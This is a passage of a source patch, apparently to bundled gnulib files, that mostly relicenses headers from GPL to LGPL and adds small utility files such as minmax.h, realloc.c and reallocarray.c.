General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* We don't need a static internal state, because the encoding is not state +--- a/gnulib/lib/mbtowc-lock.c ++++ b/gnulib/lib/mbtowc-lock.c +@@ -1,17 +1,17 @@ + /* Return the internal lock used by mbrtowc and mbrtoc32. + Copyright (C) 2019-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2019-2020. */ +--- a/gnulib/lib/mbtowc-lock.h ++++ b/gnulib/lib/mbtowc-lock.h +@@ -1,17 +1,17 @@ + /* Use the internal lock used by mbrtowc and mbrtoc32. + Copyright (C) 2019-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2019-2020. */ +--- a/gnulib/lib/mbtowc.c ++++ b/gnulib/lib/mbtowc.c +@@ -2,17 +2,17 @@ + Copyright (C) 2011-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2011. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/mbuiter.c ++++ b/gnulib/lib/mbuiter.c +@@ -1,3 +1,20 @@ ++/* Iterating through multibyte strings: macros for multi-byte encodings. ++ Copyright (C) 2012-2021 Free Software Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 3 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ + #include <config.h> ++ + #define MBUITER_INLINE _GL_EXTERN_INLINE + #include "mbuiter.h" +--- a/gnulib/lib/mbuiter.h ++++ b/gnulib/lib/mbuiter.h +@@ -1,17 +1,17 @@ + /* Iterating through multibyte strings: macros for multi-byte encodings. + Copyright (C) 2001, 2005, 2007, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 3 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>. */ +--- a/gnulib/lib/memchr.c ++++ b/gnulib/lib/memchr.c +@@ -7,21 +7,21 @@ + adaptation to memchr suggested by Dick Karpinski (dick@cca.ucsf.edu), + and implemented by Roland McGrath (roland@ai.mit.edu). + +-NOTE: The canonical source of this file is maintained with the GNU C Library. +-Bugs can be reported to bug-glibc@prep.ai.mit.edu. ++ NOTE: The canonical source of this file is maintained with the GNU C Library. ++ Bugs can be reported to bug-glibc@prep.ai.mit.edu. + +-This program is free software: you can redistribute it and/or modify it +-under the terms of the GNU General Public License as published by the +-Free Software Foundation; either version 3 of the License, or any +-later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +-This program is distributed in the hope that it will be useful, +-but WITHOUT ANY WARRANTY; without even the implied warranty of +-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-GNU General Public License for more details. ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +-You should have received a copy of the GNU General Public License +-along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _LIBC + # include <config.h> +--- a/gnulib/lib/memchr.valgrind ++++ b/gnulib/lib/memchr.valgrind +@@ -2,17 +2,17 @@ + + # Copyright (C) 2009-2021 Free Software Foundation, Inc. + # +-# This program is free software: you can redistribute it and/or modify +-# it under the terms of the GNU General Public License as published by +-# the Free Software Foundation; either version 3 of the License, or +-# (at your option) any later version. ++# This file is free software: you can redistribute it and/or modify ++# it under the terms of the GNU Lesser General Public License as ++# published by the Free Software Foundation; either version 2.1 of the ++# License, or (at your option) any later version. + # +-# This program is distributed in the hope that it will be useful, ++# This file is distributed in the hope that it will be useful, + # but WITHOUT ANY WARRANTY; without even the implied warranty of + # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-# GNU General Public License for more details. ++# GNU Lesser General Public License for more details. + # +-# You should have received a copy of the GNU General Public License ++# You should have received a copy of the GNU Lesser General Public License + # along with this program. If not, see <https://www.gnu.org/licenses/>. + + # POSIX states that when the character is found, memchr must not read extra +--- a/gnulib/lib/mempcpy.c ++++ b/gnulib/lib/mempcpy.c +@@ -1,18 +1,18 @@ + /* Copy memory area and return pointer after last written byte. + Copyright (C) 2003, 2007, 2009-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/memrchr.c ++++ b/gnulib/lib/memrchr.c +@@ -9,17 +9,17 @@ + adaptation to memchr suggested by Dick Karpinski (dick@cca.ucsf.edu), + and implemented by Roland McGrath (roland@ai.mit.edu). + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 3 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #if defined _LIBC +--- /dev/null ++++ b/gnulib/lib/minmax.h +@@ -0,0 +1,60 @@ ++/* MIN, MAX macros. ++ Copyright (C) 1995, 1998, 2001, 2003, 2005, 2009-2021 Free Software ++ Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ ++#ifndef _MINMAX_H ++#define _MINMAX_H ++ ++/* Note: MIN, MAX are also defined in <sys/param.h> on some systems ++ (glibc, IRIX, HP-UX, OSF/1). Therefore you might get warnings about ++ MIN, MAX macro redefinitions on some systems; the workaround is to ++ #include this file as the last one among the #include list. */ ++ ++/* Before we define the following symbols we get the <limits.h> file ++ since otherwise we get redefinitions on some systems if <limits.h> is ++ included after this file. Likewise for <sys/param.h>. ++ If more than one of these system headers define MIN and MAX, pick just ++ one of the headers (because the definitions most likely are the same). */ ++#if HAVE_MINMAX_IN_LIMITS_H ++# include <limits.h> ++#elif HAVE_MINMAX_IN_SYS_PARAM_H ++# include <sys/param.h> ++#endif ++ ++/* Note: MIN and MAX should be used with two arguments of the ++ same type. They might not return the minimum and maximum of their two ++ arguments, if the arguments have different types or have unusual ++ floating-point values. For example, on a typical host with 32-bit 'int', ++ 64-bit 'long long', and 64-bit IEEE 754 'double' types: ++ ++ MAX (-1, 2147483648) returns 4294967295. ++ MAX (9007199254740992.0, 9007199254740993) returns 9007199254740992.0. ++ MAX (NaN, 0.0) returns 0.0. ++ MAX (+0.0, -0.0) returns -0.0. ++ ++ and in each case the answer is in some sense bogus. */ ++ ++/* MAX(a,b) returns the maximum of A and B. */ ++#ifndef MAX ++# define MAX(a,b) ((a) > (b) ? (a) : (b)) ++#endif ++ ++/* MIN(a,b) returns the minimum of A and B. */ ++#ifndef MIN ++# define MIN(a,b) ((a) < (b) ? (a) : (b)) ++#endif ++ ++#endif /* _MINMAX_H */ +--- a/gnulib/lib/msvc-inval.c ++++ b/gnulib/lib/msvc-inval.c +@@ -1,18 +1,18 @@ + /* Invalid parameter handler for MSVC runtime libraries. + Copyright (C) 2011-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/msvc-inval.h ++++ b/gnulib/lib/msvc-inval.h +@@ -1,18 +1,18 @@ + /* Invalid parameter handler for MSVC runtime libraries. + Copyright (C) 2011-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _MSVC_INVAL_H + #define _MSVC_INVAL_H +--- a/gnulib/lib/msvc-nothrow.c ++++ b/gnulib/lib/msvc-nothrow.c +@@ -2,18 +2,18 @@ + with MSVC runtime libraries. + Copyright (C) 2011-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/msvc-nothrow.h ++++ b/gnulib/lib/msvc-nothrow.h +@@ -2,18 +2,18 @@ + with MSVC runtime libraries. + Copyright (C) 2011-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _MSVC_NOTHROW_H + #define _MSVC_NOTHROW_H +--- a/gnulib/lib/nl_langinfo-lock.c ++++ b/gnulib/lib/nl_langinfo-lock.c +@@ -1,17 +1,17 @@ + /* Return the internal lock used by nl_langinfo. + Copyright (C) 2019-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2019-2020. */ +--- a/gnulib/lib/nl_langinfo.c ++++ b/gnulib/lib/nl_langinfo.c +@@ -2,17 +2,17 @@ + + Copyright (C) 2007-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/open.c ++++ b/gnulib/lib/open.c +@@ -1,17 +1,17 @@ + /* Open a descriptor to a file. + Copyright (C) 2007-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2007. */ +--- a/gnulib/lib/pathmax.h ++++ b/gnulib/lib/pathmax.h +@@ -2,18 +2,18 @@ + Copyright (C) 1992, 1999, 2001, 2003, 2005, 2009-2021 Free Software + Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _PATHMAX_H + # define _PATHMAX_H +--- a/gnulib/lib/printf-args.c ++++ b/gnulib/lib/printf-args.c +@@ -2,18 +2,18 @@ + Copyright (C) 1999, 2002-2003, 2005-2007, 2009-2021 Free Software + Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* This file can be parametrized with the following macros: + ENABLE_UNISTDIO Set to 1 to enable the unistdio extensions. +--- a/gnulib/lib/printf-args.h ++++ b/gnulib/lib/printf-args.h +@@ -2,18 +2,18 @@ + Copyright (C) 1999, 2002-2003, 2006-2007, 2011-2021 Free Software + Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _PRINTF_ARGS_H + #define _PRINTF_ARGS_H +--- a/gnulib/lib/printf-parse.c ++++ b/gnulib/lib/printf-parse.c +@@ -1,18 +1,18 @@ + /* Formatted output to strings. + Copyright (C) 1999-2000, 2002-2003, 2006-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* This file can be parametrized with the following macros: + CHAR_T The element type of the format string. +@@ -48,16 +48,7 @@ + #include <stddef.h> + + /* Get intmax_t. */ +-#if defined IN_LIBINTL || defined IN_LIBASPRINTF +-# if HAVE_STDINT_H_WITH_UINTMAX +-# include <stdint.h> +-# endif +-# if HAVE_INTTYPES_H_WITH_UINTMAX +-# include <inttypes.h> +-# endif +-#else +-# include <stdint.h> +-#endif ++#include <stdint.h> + + /* malloc(), realloc(), free(). */ + #include <stdlib.h> +--- a/gnulib/lib/printf-parse.h ++++ b/gnulib/lib/printf-parse.h +@@ -2,18 +2,18 @@ + Copyright (C) 1999, 2002-2003, 2005, 2007, 2010-2021 Free Software + Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _PRINTF_PARSE_H + #define _PRINTF_PARSE_H +--- /dev/null ++++ b/gnulib/lib/realloc.c +@@ -0,0 +1,63 @@ ++/* realloc() function that is glibc compatible. ++ ++ Copyright (C) 1997, 2003-2004, 2006-2007, 2009-2021 Free Software ++ Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ ++/* written by Jim Meyering and Bruno Haible */ ++ ++#include <config.h> ++ ++#include <stdlib.h> ++ ++#include <errno.h> ++ ++#include "xalloc-oversized.h" ++ ++/* Call the system's realloc below. This file does not define ++ _GL_USE_STDLIB_ALLOC because it needs Gnulib's malloc if present. */ ++#undef realloc ++ ++/* Change the size of an allocated block of memory P to N bytes, ++ with error checking. If P is NULL, use malloc. Otherwise if N is zero, ++ free P and return NULL. */ ++ ++void * ++rpl_realloc (void *p, size_t n) ++{ ++ if (p == NULL) ++ return malloc (n); ++ ++ if (n == 0) ++ { ++ free (p); ++ return NULL; ++ } ++ ++ if (xalloc_oversized (n, 1)) ++ { ++ errno = ENOMEM; ++ return NULL; ++ } ++ ++ void *result = realloc (p, n); ++ ++#if !HAVE_MALLOC_POSIX ++ if (result == NULL) ++ errno = ENOMEM; ++#endif ++ ++ return result; ++} +--- /dev/null ++++ b/gnulib/lib/reallocarray.c +@@ -0,0 +1,39 @@ ++/* reallocarray function that is glibc compatible. ++ ++ Copyright (C) 2017-2021 Free Software Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ ++/* written by Darshit Shah */ ++ ++#include <config.h> ++ ++#include <stdlib.h> ++#include <errno.h> ++ ++#include "intprops.h" ++ ++void * ++reallocarray (void *ptr, size_t nmemb, size_t size) ++{ ++ size_t nbytes; ++ if (INT_MULTIPLY_WRAPV (nmemb, size, &nbytes)) ++ { ++ errno = ENOMEM; ++ return NULL; ++ } ++ ++ /* Rely on the semantics of GNU realloc. */ ++ return realloc (ptr, nbytes); ++} +--- a/gnulib/lib/regcomp.c ++++ b/gnulib/lib/regcomp.c +@@ -4,16 +4,16 @@ + Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/regex.c ++++ b/gnulib/lib/regex.c +@@ -4,16 +4,16 @@ + Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/regex.h ++++ b/gnulib/lib/regex.h +@@ -4,16 +4,16 @@ + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A 